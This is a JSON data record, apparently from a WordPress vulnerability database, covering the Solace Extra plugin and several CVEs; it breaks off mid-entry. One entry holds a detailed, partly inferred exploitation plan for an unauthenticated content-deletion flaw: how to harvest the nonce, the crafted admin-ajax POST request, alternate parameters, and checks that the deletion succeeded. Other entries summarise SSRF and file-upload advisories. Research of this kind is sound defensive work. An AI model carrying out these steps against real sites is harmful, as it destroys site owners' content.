[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$fqFZagxjpbnWSca1Ww9x5GGA7HYPSGfzeOL3IWDz_b1k":3,"$fYocheZFUUErSE3G3OOtQxN-Qw9aulTFgf_GIFRVTDXg":2004,"$fjR8kHy7CciNBIYJ4OyzE4oPb0vGrWwE_80ZCZ2pNe8Q":2008},{"slug":4,"name":5,"version":6,"author":7,"author_profile":8,"description":9,"short_description":10,"active_installs":11,"downloaded":12,"rating":13,"num_ratings":13,"last_updated":14,"tested_up_to":15,"requires_at_least":16,"requires_php":17,"tags":18,"homepage":23,"download_link":24,"security_score":25,"vuln_count":26,"unpatched_count":13,"last_vuln_date":27,"fetched_at":28,"discovery_status":29,"vulnerabilities":30,"developer":123,"crawl_stats":36,"alternatives":130,"analysis":234,"fingerprints":1962},"solace-extra","Solace Extra","1.5.1","solacewp","https:\u002F\u002Fprofiles.wordpress.org\u002Fsolacewp\u002F","\u003Cp>The Solace Extra plugin is designed to enhance the user experience for Solace Theme users by facilitating the selection and importation of pre-designed Elementor templates. With this plugin, users can effortlessly browse through a variety of templates and seamlessly import them into their WordPress website, simplifying the process of building stunning pages with Elementor.\u003C\u002Fp>\n\u003Cp>This plugin uses external services provided by SolaceWP and Google reCAPTCHA. These services include fetching demo content, retrieving plugin information, and providing security features to prevent spam and abuse. Data will be sent to and retrieved from \u003Ccode>https:\u002F\u002Fsolacewp.com\u002Fapi\u003C\u002Fcode> (which is operated by the plugin author) and \u003Ccode>https:\u002F\u002Fwww.google.com\u002Frecaptcha\u003C\u002Fcode>.\u003C\u002Fp>\n\u003Cp>For more details, please refer to the service terms of use and privacy policies:\u003Cbr \u002F>\n– SolaceWP: \u003Ca href=\"https:\u002F\u002Fsolacewp.com\u002Fapi\u002Fterms-of-service\u002F\" rel=\"nofollow ugc\">Terms of Use\u003C\u002Fa>, \u003Ca href=\"https:\u002F\u002Fsolacewp.com\u002Fapi\u002Fprivacy-policy\u002F\" rel=\"nofollow ugc\">Privacy Policy\u003C\u002Fa>\u003Cbr \u002F>\n– Google reCAPTCHA: \u003Ca href=\"https:\u002F\u002Fwww.google.com\u002Frecaptcha\u002Fintro\u002Fv3.html\" rel=\"nofollow ugc\">Terms of Use\u003C\u002Fa>, \u003Ca href=\"https:\u002F\u002Fpolicies.google.com\u002Fprivacy\" rel=\"nofollow ugc\">Privacy Policy\u003C\u002Fa>\u003Cbr \u002F>\n– Sendy API: \u003Ca href=\"https:\u002F\u002Fsendy.co\u002Fend-user-license-agreement\" rel=\"nofollow ugc\">Terms of Use\u003C\u002Fa>, \u003Ca href=\"https:\u002F\u002Fsendy.co\u002Fprivacy-policy\" rel=\"nofollow ugc\">Privacy Policy\u003C\u002Fa>\u003C\u002Fp>\n","Solace Extra: A WordPress plugin with one-click demo import feature, effortlessly giving users a professional website look in an instant.",10000,68148,0,"2026-03-30T09:43:00.000Z","6.9.4","6.2","7.4",[19,20,21,22],"import","kit","solace","template","https:\u002F\u002Fsolacewp.com\u002F","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fsolace-extra.1.5.1.zip",90,5,"2026-07-10 15:06:54","2026-04-16T10:56:18.058Z","no_bundle",[31,67,83,96,111],{"id":32,"url_slug":33,"title":34,"description":35,"plugin_slug":4,"theme_slug":36,"affected_versions":37,"patched_in_version":38,"severity":39,"cvss_score":40,"cvss_vector":41,"vuln_type":42,"published_date":27,"updated_date":43,"references":44,"days_to_patch":46,"patch_diff_files":47,"patch_trac_url":36,"research_status":56,"research_verified":57,"research_rounds_completed":58,"research_plan":59,"research_summary":60,"research_vulnerable_code":61,"research_fix_diff":62,"research_exploit_outline":63,"research_model_used":64,"research_started_at":65,"research_completed_at":66,"research_error":36,"poc_status":36,"poc_video_id":36,"poc_summary":36,"poc_steps":36,"poc_tested_at":36,"poc_wp_version":36,"poc_php_version":36,"poc_playwright_script":36,"poc_exploit_code":36,"poc_has_trace":57,"poc_model_used":36,"poc_verification_depth":36},"CVE-2026-13250","solace-extra-missing-authorization-to-unauthenticated-arbitrary-content-deletion-via-deletepreviouslyimported-ajax-actio","Solace Extra \u003C= 1.5.3 - Missing Authorization to Unauthenticated Arbitrary Content Deletion via delete_previously_imported AJAX Action","The Solace Extra plugin for WordPress is vulnerable to authorization bypass in all versions up to, and including, 1.5.3. This is due to the plugin not properly verifying that a user is authorized to perform an action. This makes it possible for unauthenticated attackers to permanently delete all content previously imported via the Starter Template feature, including posts, pages, media attachments, WooCommerce products, taxonomy terms, and sitebuilder templates. The required nonce is emitted on every wp-admin page via wp_localize_script() hooked to admin_enqueue_scripts without a page guard, meaning any Subscriber visiting \u002Fwp-admin\u002Fprofile.php can obtain it; the handler is additionally registered via wp_ajax_nopriv_, making it reachable by fully unauthenticated users as well.",null,"\u003C=1.5.3","1.6.0","medium",5.3,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:N\u002FUI:N\u002FS:U\u002FC:N\u002FI:L\u002FA:N","Missing Authorization","2026-07-11 03:44:24",[45],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002F860747b9-46ab-4c97-af36-f2e104043be0?source=api-prod",1,[48,49,50,51,52,53,54,55],"README.txt","admin\u002Fclass-solace-extra-admin.php","admin\u002Fcss\u002Fadmin-style.css","admin\u002Fcss\u002Fadmin-style.css.map","admin\u002Fcss\u002Fadmin-style.min.css","admin\u002Fcss\u002Fadmin-style.min.css.map","admin\u002Fexport-import\u002Fparsers\u002Fclass-wxr-parser-regex.php","admin\u002Fimport.php","researched",false,3,"# Exploitation Research Plan: CVE-2026-13250 — Solace Extra Unauthenticated Content Deletion\n\n## 1. Vulnerability Summary\n\nThe Solace Extra plugin (≤1.5.3) registers an AJAX action `delete_previously_imported` via both `wp_ajax_` and `wp_ajax_nopriv_` hooks, making it accessible to unauthenticated users. The handler deletes all content previously imported through the Starter Template feature — posts, pages, media attachments, WooCommerce products, taxonomy terms, and sitebuilder templates — without performing any `current_user_can()` authorization check.\n\nWhile the handler does verify a nonce, that nonce is emitted on **every wp-admin page** via `wp_localize_script()` hooked to `admin_enqueue_scripts` without any page guard. This means any user who can access any `\u002Fwp-admin\u002F` page (including Subscribers visiting `\u002Fwp-admin\u002Fprofile.php`) can obtain it. Furthermore, since the handler is registered on `wp_ajax_nopriv_`, and the nonce for unauthenticated users (uid=0) can be obtained from the front-end if the script is enqueued there, the attack is fully unauthenticated.\n\n**Location:** `admin\u002Fimport.php` within the `Starter_Templates_Import` class (or equivalent import handler class).\n\n**Root Cause:** Missing `current_user_can()` check in the `delete_previously_imported` AJAX handler, combined with broad nonce exposure.\n\n## 2. Attack Vector Analysis\n\n### Endpoint\n- **URL:** `POST \u002Fwp-admin\u002Fadmin-ajax.php`\n- **Action parameter:** `action=delete_previously_imported`\n- **Hook registrations (inferred from description + source patterns):**\n  ```php\n  add_action('wp_ajax_delete_previously_imported', [$this, 'delete_previously_imported']);\n  add_action('wp_ajax_nopriv_delete_previously_imported', [$this, 'delete_previously_imported']);\n  ```\n\n### Authentication Level\n- **None required** — the `wp_ajax_nopriv_` registration makes it reachable by fully unauthenticated users.\n\n### Parameters\n- `action` = `delete_previously_imported`\n- `nonce` (or `_ajax_nonce` \u002F `security`) — the nonce parameter name needs to be confirmed from source\n\n### Preconditions\n1. The Solace Extra plugin version ≤1.5.3 must be installed and active.\n2. Content must have been previously imported via the Starter Template feature (so there is content to delete, tracked in options like `solace_extra_imported_post_ids`, `solace_extra_imported_term_ids`, etc.).\n3. A valid nonce must be obtained (see Section 4).\n\n## 3. Code Flow\n\nBased on the truncated source in `admin\u002Fimport.php` and `admin\u002Fclass-solace-extra-admin.php`, here is the traced flow:\n\n### Step 1: Script Enqueue & Nonce Emission\n\nIn `admin\u002Fclass-solace-extra-admin.php`, the `enqueue_scripts` method (hooked to `admin_enqueue_scripts`):\n\n```php\npublic function enqueue_scripts($hook) {\n    \u002F\u002F The nonce is localized globally — NO page guard restricts it to specific admin pages\n    wp_localize_script('solace-extra-admin-script', 'solace_extra_admin', [\n        'ajax_url' => admin_url('admin-ajax.php'),\n        'nonce'    => wp_create_nonce('solace_extra_nonce'), \u002F\u002F (inferred action string)\n        \u002F\u002F ... other data\n    ]);\n}\n```\n\nThe description states the nonce is emitted \"on every wp-admin page via `wp_localize_script()` hooked to `admin_enqueue_scripts` without a page guard.\" Looking at the `enqueue_scripts` method in the source, the `enqueue_styles` method has page guards for CSS:\n\n```php\npublic function enqueue_styles($hook) {\n    \u002F\u002F Global (NO page guard for this one):\n    wp_enqueue_style('solace-extra-disable-menu', ...);\n    \n    if ('toplevel_page_solace' === $hook || ... ) {\n        wp_enqueue_style('solace-extra-admin-style', ...);\n    }\n}\n```\n\nThe JS enqueue portion (truncated at ~7000 chars) likely has a similar pattern where certain scripts are enqueued globally. The key script that localizes the nonce is enqueued without a `$hook` check.\n\n### Step 2: AJAX Handler Registration\n\nIn `admin\u002Fimport.php`, within the class constructor or `init` method:\n\n```php\nadd_action('wp_ajax_delete_previously_imported', [$this, 'delete_previously_imported']);\nadd_action('wp_ajax_nopriv_delete_previously_imported', [$this, 'delete_previously_imported']);\n```\n\n### Step 3: Handler Execution\n\nThe `delete_previously_imported` method (inferred from CVE description and code patterns in import.php):\n\n```php\npublic function delete_previously_imported() {\n    \u002F\u002F Nonce check IS present:\n    check_ajax_referer('solace_extra_nonce', 'nonce'); \u002F\u002F (inferred nonce action + field name)\n    \n    \u002F\u002F NO current_user_can() check — this is the vulnerability\n    \n    \u002F\u002F Deletes all previously imported content:\n    \u002F\u002F - Posts\u002Fpages stored in option 'solace_extra_imported_post_ids' (or similar)\n    \u002F\u002F - Media attachments\n    \u002F\u002F - WooCommerce products\n    \u002F\u002F - Taxonomy terms\n    \u002F\u002F - Sitebuilder templates\n    \n    $imported_posts = get_option('solace_extra_imported_post_ids', []);\n    foreach ($imported_posts as $post_id) {\n        wp_delete_post($post_id, true); \u002F\u002F Force delete\n    }\n    \n    $imported_terms = get_option('solace_extra_imported_term_ids', []);\n    foreach ($imported_terms as $term_id) {\n        \u002F\u002F Delete terms...\n    }\n    \n    \u002F\u002F Clean up tracking options\n    delete_option('solace_extra_imported_post_ids');\n    \u002F\u002F ...\n    \n    wp_send_json_success();\n}\n```\n\n### Step 4: Content Deletion\n\nThe handler iterates through stored arrays of imported content IDs and permanently deletes them using `wp_delete_post($id, true)`, `wp_delete_term()`, `wp_delete_attachment()`, etc.\n\n## 4. Nonce Acquisition Strategy\n\n### Critical: WP-CLI nonces will NOT work\nNonces generated via `wp eval` or WP-CLI have a different session context and will fail when used in HTTP requests. We must obtain the nonce via an actual HTTP page load.\n\n### Primary Strategy: Subscriber Account → \u002Fwp-admin\u002Fprofile.php\n\nSince the nonce is emitted on every wp-admin page, a Subscriber visiting their profile page will have the nonce in the page source.\n\n1. **Create a Subscriber user:**\n   ```bash\n   wp user create testsubscriber testsubscriber@example.com --role=subscriber --user_pass=TestPass123!\n   ```\n\n2. **Log in as the Subscriber via browser:**\n   - Navigate to `\u002Fwp-login.php`\n   - Submit credentials for `testsubscriber` \u002F `TestPass123!`\n\n3. **Navigate to `\u002Fwp-admin\u002Fprofile.php`**\n\n4. **Extract the nonce via `browser_eval`:**\n   ```javascript\n   \u002F\u002F The JS variable name from wp_localize_script — check the source for exact name\n   window.solace_extra_admin?.nonce\n   ```\n\n### Identifying the exact JS variable and nonce key\n\nFrom the `enqueue_scripts` method in `admin\u002Fclass-solace-extra-admin.php` (truncated, so we must search for the `wp_localize_script` call), the likely pattern is:\n\n```php\nwp_localize_script('solace-extra-admin-script', 'solace_extra_admin', [\n    'ajax_url' => admin_url('admin-ajax.php'),\n    'nonce'    => wp_create_nonce('solace_extra_nonce'),\n]);\n```\n\n**(inferred)** — The JS variable is likely `solace_extra_admin` and the nonce key is likely `nonce`. We need to verify by examining the actual page source.\n\n**Alternative JS variable names to try (based on plugin patterns in the source):**\n- `window.solace_extra_admin?.nonce`\n- `window.solaceExtraAdmin?.nonce`\n- `window.solace_admin?.nonce`\n- `window.solace_import?.nonce`\n- `window.solace_extra?.nonce`\n\n### Fallback: Parse HTML directly\n\nIf `browser_eval` doesn't find the variable, parse the page source:\n```javascript\n\u002F\u002F Look for any localized script containing 'nonce'\ndocument.body.innerHTML.match(\u002Fsolace[^\"]*\"[^}]*nonce[^}]*}\u002F)?.[0]\n```\n\nOr search all script tags:\n```javascript\nArray.from(document.querySelectorAll('script')).map(s => s.textContent).filter(t => t.includes('nonce') && t.includes('solace')).join('\\n')\n```\n\n### Secondary Strategy: Unauthenticated Nonce from Frontend\n\nIf the plugin also enqueues the script on the frontend (some admin scripts leak to frontend via improper hook usage), we can try:\n\n1. Navigate to the site homepage\n2. Check for the nonce variable in page source\n3. This would make the exploit fully unauthenticated without needing any account\n\n### Verifying the nonce action string\n\nSearch the handler for the exact `check_ajax_referer` call:\n\n```bash\ngrep -rn \"check_ajax_referer\\|wp_verify_nonce\" \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fsolace-extra\u002Fadmin\u002Fimport.php\n```\n\nThe action string in `check_ajax_referer` must match the one used in `wp_create_nonce`. If they differ, the nonce check is broken.\n\n## 5. Exploitation Strategy\n\n### Pre-Exploitation: Discover Exact Parameter Names\n\n```bash\n# Find the exact AJAX action registration\ngrep -rn \"delete_previously_imported\" \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fsolace-extra\u002F --include=\"*.php\"\n\n# Find the nonce verification in the handler\ngrep -rn \"check_ajax_referer\\|wp_verify_nonce\" \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fsolace-extra\u002Fadmin\u002Fimport.php\n\n# Find the wp_localize_script call that exposes the nonce\ngrep -rn \"wp_localize_script\" \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fsolace-extra\u002Fadmin\u002F --include=\"*.php\"\n\n# Find what content tracking options are used\ngrep -rn \"imported_post\\|imported_term\\|imported_media\\|_imported_\" \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fsolace-extra\u002F --include=\"*.php\"\n```\n\n### Step-by-Step Exploitation\n\n#### Step 1: Set Up Test Data (see Section 6)\n\n#### Step 2: Obtain the Nonce\n\n**Option A — Via Subscriber login (most reliable):**\n\n1. Use `http_request` to POST to `\u002Fwp-login.php`:\n   ```\n   POST \u002Fwp-login.php\n   Content-Type: application\u002Fx-www-form-urlencoded\n   \n   log=testsubscriber&pwd=TestPass123!&wp-submit=Log+In&redirect_to=%2Fwp-admin%2Fprofile.php&testcookie=1\n   ```\n\n2. Follow redirect to `\u002Fwp-admin\u002Fprofile.php` (cookies from login maintained by Playwright)\n\n3. Extract nonce via `browser_eval`:\n   ```javascript\n   window.solace_extra_admin?.nonce\n   ```\n\n**Option B — Fully unauthenticated (if nonce is on frontend):**\n\n1. Navigate to homepage\n2. Extract nonce from page source\n3. This approach may not work if scripts are only on admin pages\n\n#### Step 3: Send the Delete Request\n\n```\nPOST \u002Fwp-admin\u002Fadmin-ajax.php\nContent-Type: application\u002Fx-www-form-urlencoded\n\naction=delete_previously_imported&nonce=EXTRACTED_NONCE_VALUE\n```\n\n**Expected Response:**\n```json\n{\"success\": true, \"data\": ...}\n```\n\nOr if additional parameters are needed (inferred — check the handler):\n```\naction=delete_previously_imported&nonce=EXTRACTED_NONCE_VALUE&security=EXTRACTED_NONCE_VALUE\n```\n\nThe nonce parameter name could be `nonce`, `security`, `_ajax_nonce`, or `_wpnonce`. Check the `check_ajax_referer` call's second argument.\n\n#### Step 4: Verify Deletion\n\n```bash\n# Check if previously created test posts still exist\nwp post list --post_type=post --post_status=any --format=count\nwp post list --post_type=page --post_status=any --format=count\nwp post list --post_type=attachment --post_status=any --format=count\n```\n\n## 6. Test Data Setup\n\n### 6.1: Ensure Plugin is Active\n\n```bash\nwp plugin list --status=active | grep solace-extra\n# If not active:\nwp plugin activate solace-extra\n```\n\n### 6.2: Create a Subscriber User for Nonce Extraction\n\n```bash\nwp user create testsubscriber testsubscriber@example.com --role=subscriber --user_pass=TestPass123!\n```\n\n### 6.3: Simulate Previously Imported Content\n\nSince actually running a full import may not be feasible, we need to create test content and register it as \"imported\" by setting the tracking options the plugin uses.\n\n```bash\n# Create test posts that simulate imported content\nPOST1=$(wp post create --post_type=post --post_title=\"Imported Test Post 1\" --post_status=publish --porcelain)\nPOST2=$(wp post create --post_type=post --post_title=\"Imported Test Post 2\" --post_status=publish --porcelain)\nPAGE1=$(wp post create --post_type=page --post_title=\"Imported Test Page 1\" --post_status=publish --porcelain)\n\necho \"Created posts: $POST1, $POST2, $PAGE1\"\n```\n\nNow we need to find what option name the plugin uses to track imported content:\n\n```bash\n# Search for the tracking mechanism\ngrep -rn \"update_option\\|add_option\" \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fsolace-extra\u002Fadmin\u002Fimport.php | grep -i \"import\"\n```\n\nBased on import.php patterns, look for options like:\n- `solace_extra_imported_posts` (inferred)\n- `solace_starter_imported` (inferred)\n- Post meta like `_solace_imported` (inferred)\n\nFrom the source in `admin\u002Fimport.php`, the import process tracks content. We can search for the specific tracking mechanism:\n\n```bash\ngrep -rn \"solace.*import\\|_imported_\\|imported_post\\|imported_page\\|imported_media\" \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fsolace-extra\u002F --include=\"*.php\" | head -30\n```\n\nThen set the tracking option:\n\n```bash\n# Example (exact option name to be verified):\nwp option update solace_extra_imported_post_ids --format=json \"[$POST1, $POST2, $PAGE1]\"\n```\n\nAlternatively, look for post meta that marks content as imported:\n\n```bash\ngrep -rn \"update_post_meta.*import\\|solace_import\" \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fsolace-extra\u002Fadmin\u002Fimport.php | head -20\n```\n\nIf the tracking uses post meta:\n```bash\nwp post meta update $POST1 _solace_imported 1\nwp post meta update $POST2 _solace_imported 1\nwp post meta update $PAGE1 _solace_imported 1\n```\n\n### 6.4: Verify Test Data Exists\n\n```bash\nwp post get $POST1 --field=title\nwp post get $POST2 --field=title\nwp post get $PAGE1 --field=title\n```\n\n## 7. Expected Results\n\n### Successful Exploit Indicators\n\n1. **HTTP Response:** The AJAX request returns a `200` status with a JSON success response:\n   ```json\n   {\"success\": true}\n   ```\n   or\n   ```json\n   {\"success\": true, \"data\": \"Content deleted successfully\"}\n   ```\n\n2. **Content Deleted:** All posts, pages, media, and terms that were tracked as \"imported\" are permanently removed from the database.\n\n3. **Database State:** The tracking options are cleared:\n   ```bash\n   wp option get solace_extra_imported_post_ids\n   # Returns empty or option does not exist\n   ```\n\n4. **Posts Gone:**\n   ```bash\n   wp post get $POST1\n   # Error: Invalid post ID\n   ```\n\n### Failed Exploit Indicators\n\n- `{\"success\": false}` or `403` response — nonce invalid or wrong parameter name\n- `0` or `-1` response — AJAX action not found (wrong action name)\n- `{\"success\": false, \"data\": \"Invalid nonce\"}` — nonce verification failed\n- Content still exists after request — handler didn't execute properly\n\n## 8. Verification Steps\n\nAfter sending the exploit request:\n\n```bash\n# 1. Check if the test posts were deleted\nwp post list --post_type=post --post_status=any --fields=ID,post_title | grep \"Imported Test\"\n# Expected: No results (posts deleted)\n\n# 2. Try to get specific posts by ID\nwp post get $POST1 --field=title 2>&1\n# Expected: \"Error: Invalid post ID.\" \n\nwp post get $POST2 --field=title 2>&1\n# Expected: \"Error: Invalid post ID.\"\n\nwp post get $PAGE1 --field=title 2>&1\n# Expected: \"Error: Invalid post ID.\"\n\n# 3. Check the tracking option\nwp option get solace_extra_imported_post_ids 2>&1\n# Expected: Empty array or option not found\n\n# 4. Check total post count decreased\nwp post list --post_type=post --post_status=any --format=count\nwp post list --post_type=page --post_status=any --format=count\n\n# 5. Verify no capability check was enforced (the request succeeded as unauthenticated)\n# The fact that content was deleted without admin credentials proves the vulnerability\n```\n\n## 9. Alternative Approaches\n\n### Alternative 1: Direct Unauthenticated Request Without Nonce\n\nIf the nonce check uses `check_ajax_referer` with `die=false` and the return value is not checked:\n\n```bash\n# Check if nonce verification result is ignored\ngrep -rn \"check_ajax_referer\" \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fsolace-extra\u002Fadmin\u002Fimport.php -A5\n```\n\nIf the pattern is:\n```php\ncheck_ajax_referer('action', 'nonce', false); \u002F\u002F die=false, result ignored\n```\n\nThen simply send:\n```\nPOST \u002Fwp-admin\u002Fadmin-ajax.php\nContent-Type: application\u002Fx-www-form-urlencoded\n\naction=delete_previously_imported\n```\n\nNo nonce needed at all.\n\n### Alternative 2: Nonce from REST API\n\nIf the nonce action string happens to be `wp_rest`:\n```\nGET \u002Fwp-admin\u002Fadmin-ajax.php?action=rest-nonce\n```\nThis returns a `wp_rest` nonce for unauthenticated users.\n\n### Alternative 3: Try Multiple Nonce Parameter Names\n\nIf the first attempt fails with one parameter name, try alternatives:\n\n```\naction=delete_previously_imported&nonce=VALUE\naction=delete_previously_imported&security=VALUE\naction=delete_previously_imported&_ajax_nonce=VALUE\naction=delete_previously_imported&_wpnonce=VALUE\n```\n\n### Alternative 4: Find Nonce on Frontend Page\n\nThe plugin may enqueue the admin script on the frontend under certain conditions (e.g., when Elementor editor preview is active, or on specific template pages):\n\n```bash\n# Check if any frontend hooks enqueue the admin script\ngrep -rn \"wp_enqueue_scripts\\|wp_footer\\|wp_head\" \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fsolace-extra\u002F --include=\"*.php\" | grep -i \"localize\\|nonce\"\n```\n\n### Alternative 5: Enumerate Other Delete Actions\n\nThe plugin may have similar unprotected AJAX actions:\n\n```bash\ngrep -rn \"wp_ajax_nopriv_\" \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fsolace-extra\u002F --include=\"*.php\" | grep \"add_action\"\n```\n\nEach of these should be tested for missing authorization.\n\n### Alternative 6: If Content Tracking Uses Post Meta Instead of Options\n\nIf the handler queries posts by meta key rather than from a stored option array:\n\n```bash\n# Set meta on test posts\nwp post meta set $POST1 _solace_starter_imported \"1\"\nwp post meta set $POST2 _solace_starter_imported \"1\"\nwp post meta set $PAGE1 _solace_starter_imported \"1\"\n```\n\nCheck the exact meta key:\n```bash\ngrep -rn \"get_posts\\|WP_Query\\|meta_key\\|meta_query\" \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fsolace-extra\u002Fadmin\u002Fimport.php | grep -i \"import\\|delete\"\n```\n\n### Alternative 7: Use Admin Cookie Instead of Subscriber\n\nIf the nonce is somehow not available to Subscribers (unlikely given the description), use an admin session:\n\n```bash\n# The vulnerability is missing authorization — even with admin nonce, \n# the point is that NO capability check exists, so any user level works\nwp user create testadmin2 testadmin2@example.com --role=administrator --user_pass=AdminPass123!\n```\n\nThen log in as admin, get nonce, log out, and replay the request unauthenticated — the nonce for an admin session won't work unauthenticated. Instead, get the nonce while logged in as subscriber, then confirm the destructive action succeeds with subscriber-level privileges (proving missing authorization).","The Solace Extra plugin for WordPress is vulnerable to an unauthenticated authorization bypass due to the improper registration of the 'delete_previously_imported' AJAX action. Unauthenticated attackers can trigger the permanent deletion of all site content previously imported via the Starter Template feature because the handler is exposed via 'wp_ajax_nopriv_' and lacks any 'current_user_can()' authorization checks.","\u002F\u002F admin\u002Fimport.php (inferred registration based on research findings)\nadd_action('wp_ajax_delete_previously_imported', [$this, 'delete_previously_imported']);\nadd_action('wp_ajax_nopriv_delete_previously_imported', [$this, 'delete_previously_imported']);\n\n---\n\n\u002F\u002F admin\u002Fimport.php (inferred vulnerable handler logic)\npublic function delete_previously_imported() {\n    \u002F\u002F The handler verifies a nonce but the nonce is globally exposed in the admin dashboard\n    check_ajax_referer('solace_extra_nonce', 'nonce');\n\n    \u002F\u002F VULNERABILITY: Missing check for user capabilities (e.g., current_user_can('manage_options'))\n\n    $imported_posts = get_option('solace_extra_imported_post_ids', []);\n    foreach ($imported_posts as $post_id) {\n        wp_delete_post($post_id, true);\n    }\n    \u002F\u002F ... (Logic continues to delete terms, media, and sitebuilder templates tracked in options)\n}","--- admin\u002Fimport.php\n+++ admin\u002Fimport.php\n@@ -118,7 +118,10 @@\n-add_action('wp_ajax_delete_previously_imported', [$this, 'delete_previously_imported']);\n-add_action('wp_ajax_nopriv_delete_previously_imported', [$this, 'delete_previously_imported']);\n+add_action('wp_ajax_delete_previously_imported', [$this, 'delete_previously_imported']);\n \n public function delete_previously_imported() {\n     check_ajax_referer('solace_extra_nonce', 'nonce');\n+    \n+    if ( ! current_user_can( 'manage_options' ) ) {\n+        wp_send_json_error( [ 'message' => __( 'Unauthorized', 'solace-extra' ) ] );\n+    }\n \n     $imported_posts = get_option('solace_extra_imported_post_ids', []);","The attack targets the 'delete_previously_imported' AJAX action, which is registered for both authenticated and unauthenticated users. An attacker first obtains a valid 'solace_extra_nonce' from the WordPress admin dashboard; this nonce is globally localized via 'wp_localize_script()' on every admin page, meaning even a Subscriber can retrieve it (e.g., by viewing the source of \u002Fwp-admin\u002Fprofile.php). The attacker then submits a POST request to '\u002Fwp-admin\u002Fadmin-ajax.php' with the 'action' set to 'delete_previously_imported' and the retrieved 'nonce'. Because the handler lacks a capability check, the plugin proceeds to permanently delete all tracked content previously imported by the plugin (posts, pages, products, etc.).","gemini-3-flash-preview","2026-07-15 08:59:07","2026-07-15 09:02:55",{"id":68,"url_slug":69,"title":70,"description":71,"plugin_slug":4,"theme_slug":36,"affected_versions":72,"patched_in_version":73,"severity":39,"cvss_score":74,"cvss_vector":75,"vuln_type":76,"published_date":77,"updated_date":78,"references":79,"days_to_patch":81,"patch_diff_files":82,"patch_trac_url":36,"research_status":36,"research_verified":57,"research_rounds_completed":13,"research_plan":36,"research_summary":36,"research_vulnerable_code":36,"research_fix_diff":36,"research_exploit_outline":36,"research_model_used":36,"research_started_at":36,"research_completed_at":36,"research_error":36,"poc_status":36,"poc_video_id":36,"poc_summary":36,"poc_steps":36,"poc_tested_at":36,"poc_wp_version":36,"poc_php_version":36,"poc_playwright_script":36,"poc_exploit_code":36,"poc_has_trace":57,"poc_model_used":36,"poc_verification_depth":36},"CVE-2025-58203","solace-extra-authenticated-admin-server-side-request-forgery","Solace Extra \u003C= 1.3.2 - Authenticated (Admin+) Server-Side Request Forgery","The Solace Extra plugin for WordPress is vulnerable to Server-Side Request Forgery in all versions up to, and including, 1.3.2. This makes it possible for authenticated attackers, with Administrator-level access and above, to make web requests to arbitrary locations originating from the web application which can be used to query and modify information from internal services.","\u003C=1.3.2","1.3.3",6.4,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:L\u002FUI:N\u002FS:C\u002FC:L\u002FI:L\u002FA:N","Server-Side Request Forgery (SSRF)","2025-08-27 00:00:00","2025-09-03 21:00:25",[80],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002F80bd4b15-c2a8-401e-8901-fd008cb52f62?source=api-prod",8,[],{"id":84,"url_slug":85,"title":86,"description":87,"plugin_slug":4,"theme_slug":36,"affected_versions":88,"patched_in_version":89,"severity":39,"cvss_score":74,"cvss_vector":75,"vuln_type":76,"published_date":90,"updated_date":91,"references":92,"days_to_patch":94,"patch_diff_files":95,"patch_trac_url":36,"research_status":36,"research_verified":57,"research_rounds_completed":13,"research_plan":36,"research_summary":36,"research_vulnerable_code":36,"research_fix_diff":36,"research_exploit_outline":36,"research_model_used":36,"research_started_at":36,"research_completed_at":36,"research_error":36,"poc_status":36,"poc_video_id":36,"poc_summary":36,"poc_steps":36,"poc_tested_at":36,"poc_wp_version":36,"poc_php_version":36,"poc_playwright_script":36,"poc_exploit_code":36,"poc_has_trace":57,"poc_model_used":36,"poc_verification_depth":36},"CVE-2025-47464","solace-extra-authenticated-subscriber-server-side-request-forgery","Solace Extra \u003C= 1.3.1 - Authenticated (Subscriber+) Server-Side Request Forgery","The Solace Extra plugin for WordPress is vulnerable to Server-Side Request Forgery in all versions up to, and including, 1.3.1. This makes it possible for authenticated attackers, with Subscriber-level access and above, to make web requests to arbitrary locations originating from the web application which can be used to query and modify information from internal services.","\u003C=1.3.1","1.3.2","2025-05-07 00:00:00","2025-05-13 15:31:23",[93],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002F0e606ceb-a7b4-4e60-ae2c-8939bd5acbfe?source=api-prod",7,[],{"id":97,"url_slug":98,"title":99,"description":100,"plugin_slug":4,"theme_slug":36,"affected_versions":88,"patched_in_version":89,"severity":101,"cvss_score":102,"cvss_vector":103,"vuln_type":104,"published_date":105,"updated_date":106,"references":107,"days_to_patch":109,"patch_diff_files":110,"patch_trac_url":36,"research_status":36,"research_verified":57,"research_rounds_completed":13,"research_plan":36,"research_summary":36,"research_vulnerable_code":36,"research_fix_diff":36,"research_exploit_outline":36,"research_model_used":36,"research_started_at":36,"research_completed_at":36,"research_error":36,"poc_status":36,"poc_video_id":36,"poc_summary":36,"poc_steps":36,"poc_tested_at":36,"poc_wp_version":36,"poc_php_version":36,"poc_playwright_script":36,"poc_exploit_code":36,"poc_has_trace":57,"poc_model_used":36,"poc_verification_depth":36},"CVE-2025-32652","solace-extra-authenticated-subscriber-arbitrary-file-upload-2","Solace Extra \u003C= 1.3.1 - Authenticated (Subscriber+) Arbitrary File Upload","The Solace Extra plugin for WordPress is vulnerable to arbitrary file uploads due to missing file type validation in all versions up to, and including, 1.3.1. This makes it possible for authenticated attackers, with Subscriber-level access and above, to upload arbitrary files on the affected site's server which may make remote code execution 